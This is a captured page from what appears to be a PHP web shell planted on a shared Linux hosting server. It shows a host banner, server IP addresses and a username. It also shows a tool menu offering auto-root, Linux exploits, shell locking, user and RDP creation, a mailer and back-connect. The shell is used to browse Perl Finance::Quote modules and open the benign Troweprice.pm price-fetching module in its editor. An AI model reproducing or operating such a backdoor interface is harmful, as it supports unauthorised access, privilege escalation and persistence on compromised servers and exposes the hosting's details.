Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Finance /
Quote /
[ HOME SHELL ]
Name
Size
Permission
Action
CurrencyRates
[ DIR ]
drwxr-xr-x
AEX.pm
5.76
KB
-rw-r--r--
ASEGR.pm
5.26
KB
-rw-r--r--
ASX.pm
10.78
KB
-rw-r--r--
AlphaVantage.pm
12.23
KB
-rw-r--r--
BSEIndia.pm
4.59
KB
-rw-r--r--
Bloomberg.pm
2.68
KB
-rw-r--r--
Bourso.pm
6.71
KB
-rw-r--r--
CSE.pm
3.13
KB
-rw-r--r--
Cdnfundlibrary.pm
5.34
KB
-rw-r--r--
Comdirect.pm
4.32
KB
-rw-r--r--
Currencies.pm
32.6
KB
-rw-r--r--
DWS.pm
4.36
KB
-rw-r--r--
Deka.pm
3.17
KB
-rw-r--r--
FTfunds.pm
11.55
KB
-rw-r--r--
Fidelity.pm
4.72
KB
-rw-r--r--
Finanzpartner.pm
4.05
KB
-rw-r--r--
Fondsweb.pm
5.29
KB
-rw-r--r--
Fool.pm
5.2
KB
-rw-r--r--
Fundata.pm
5.96
KB
-rw-r--r--
GoldMoney.pm
7.66
KB
-rw-r--r--
HU.pm
7.07
KB
-rw-r--r--
IEXCloud.pm
4.94
KB
-rw-r--r--
IndiaMutual.pm
4.71
KB
-rw-r--r--
MStaruk.pm
9.13
KB
-rw-r--r--
MorningstarAU.pm
5.05
KB
-rw-r--r--
MorningstarJP.pm
5.55
KB
-rw-r--r--
NSEIndia.pm
4.87
KB
-rw-r--r--
NZX.pm
3.25
KB
-rw-r--r--
OnVista.pm
7.54
KB
-rw-r--r--
Oslobors.pm
2.29
KB
-rw-r--r--
SEB.pm
3.96
KB
-rw-r--r--
SIX.pm
5.45
KB
-rw-r--r--
TMX.pm
5.83
KB
-rw-r--r--
TSP.pm
4.35
KB
-rw-r--r--
Tiaacref.pm
13.85
KB
-rw-r--r--
Tradeville.pm
3.88
KB
-rw-r--r--
Troweprice.pm
5
KB
-rw-r--r--
USFedBonds.pm
4.89
KB
-rw-r--r--
Union.pm
4.5
KB
-rw-r--r--
UserAgent.pm
3.25
KB
-rw-r--r--
XETRA.pm
4.59
KB
-rw-r--r--
YahooJSON.pm
8.21
KB
-rw-r--r--
ZA.pm
3.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Troweprice.pm
#!/usr/bin/perl -w # # Copyright (C) 1998, Dj Padzensky <djpadz@padz.net> # Copyright (C) 1998, 1999 Linas Vepstas <linas@linas.org> # Copyright (C) 2000, Yannick LE NY <y-le-ny@ifrance.com> # Copyright (C) 2000, Paul Fenwick <pjf@cpan.org> # Copyright (C) 2000, Brent Neal <brentn@users.sourceforge.net> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA # # # This code derived from Padzensky's work on package Finance::YahooQuote, # but extends its capabilites to encompas a greater number of data sources. # # This code was developed as part of GnuCash <http://www.gnucash.org/> package Finance::Quote::Troweprice; require 5.005; use strict; use vars qw( $TROWEPRICE_URL); use LWP::UserAgent; use Time::Piece; use Try::Tiny; our $VERSION = '1.51'; # VERSION # URLs of where to obtain information. $TROWEPRICE_URL = ("https://www3.troweprice.com/fb2/ppfweb/downloadPrices.do"); sub methods { return (troweprice => \&troweprice, troweprice_direct => \&troweprice); } { my @labels = qw/method exchange name nav date isodate price/; sub labels { return (troweprice => \@labels, troweprice_direct => \@labels); } } # ======================================================================= sub troweprice { my $quoter = shift; my @symbols = @_; return if (! scalar @symbols); # for T Rowe Price, we get them all. my %info; my $url = $TROWEPRICE_URL; my $ua = $quoter->user_agent; my $reply = $ua->get( $url, 'Accept-Language' => 'en-US,en' ); if (! $reply->is_success) { for my $stock (@symbols) { $info{ $stock, "success" } = 0; $info{ $stock, "errormsg" } = "Error retrieving quote for $stock. Attempt to fetch the URL $url resulted in HTTP response:i " . $reply->status_line; } return wantarray() ? %info : \%info; } my $quotes; my $csv = $reply->content; open my $in, '<', \$csv; RECORD: while (my $line = <$in>) { next RECORD if ($line !~ /\S/); #$line =~ s/\s+$//; my @q = $quoter->parse_csv($line); my $symbol = $q[0]; next RECORD if (! grep {$_ eq $symbol} @symbols); my $date; try { $date = Time::Piece->strptime($q[2], "%m/%d/%Y"); } catch { $info{ $symbol, "success" } = 0; $info{ $symbol, "errormsg" } = "Failed to parse quote date. Please contact developers"; next RECORD; }; $quotes->{$symbol} = { price => $q[1], date => $date, } } SYMBOL: for my $symbol (@symbols) { # skip if already defined due to earlier parsing error next SYMBOL if (defined $info{ $symbol, 'success' }); if (! defined $quotes->{$symbol}) { $info{ $symbol, "success" } = 0; $info{ $symbol, "errormsg" } = "Error retrieving quote for $symbol - no listing for this" . " name found. Please check symbol."; next SYMBOL; } $info{ $symbol, "success" } = 1; $info{ $symbol, 'symbol' } = $symbol; $info{ $symbol, "exchange" } = "T. Rowe Price"; $info{ $symbol, "method" } = "troweprice"; $info{ $symbol, "name" } = $symbol; # no name supplied ... $info{ $symbol, "nav" } = $quotes->{$symbol}->{price}; $info{ $symbol, "price" } = $info{$symbol,"nav"}; $info{ $symbol, "currency" } = "USD"; $quoter->store_date( \%info, $symbol, {isodate => $quotes->{$symbol}->{date}->ymd} ); } return wantarray() ? %info : \%info; } 1; =head1 NAME Finance::Quote::Troweprice - Obtain quotes from T. Rowe Price =head1 SYNOPSIS use Finance::Quote; $q = Finance::Quote->new; %stockinfo = $q->fetch("troweprice","PRFDX"); =head1 DESCRIPTION This module obtains information about managed funds from T. Rowe Price. Information about T. Rowe Price funds is available from a variety of sources. This module fetches information directly from T. Rowe Price. =head1 LABELS RETURNED Information available from T. Rowe Price may include the following labels: exchange, name, nav, date, price. =head1 SEE ALSO T. Rowe Price website - http://www.troweprice.com/ =cut
Close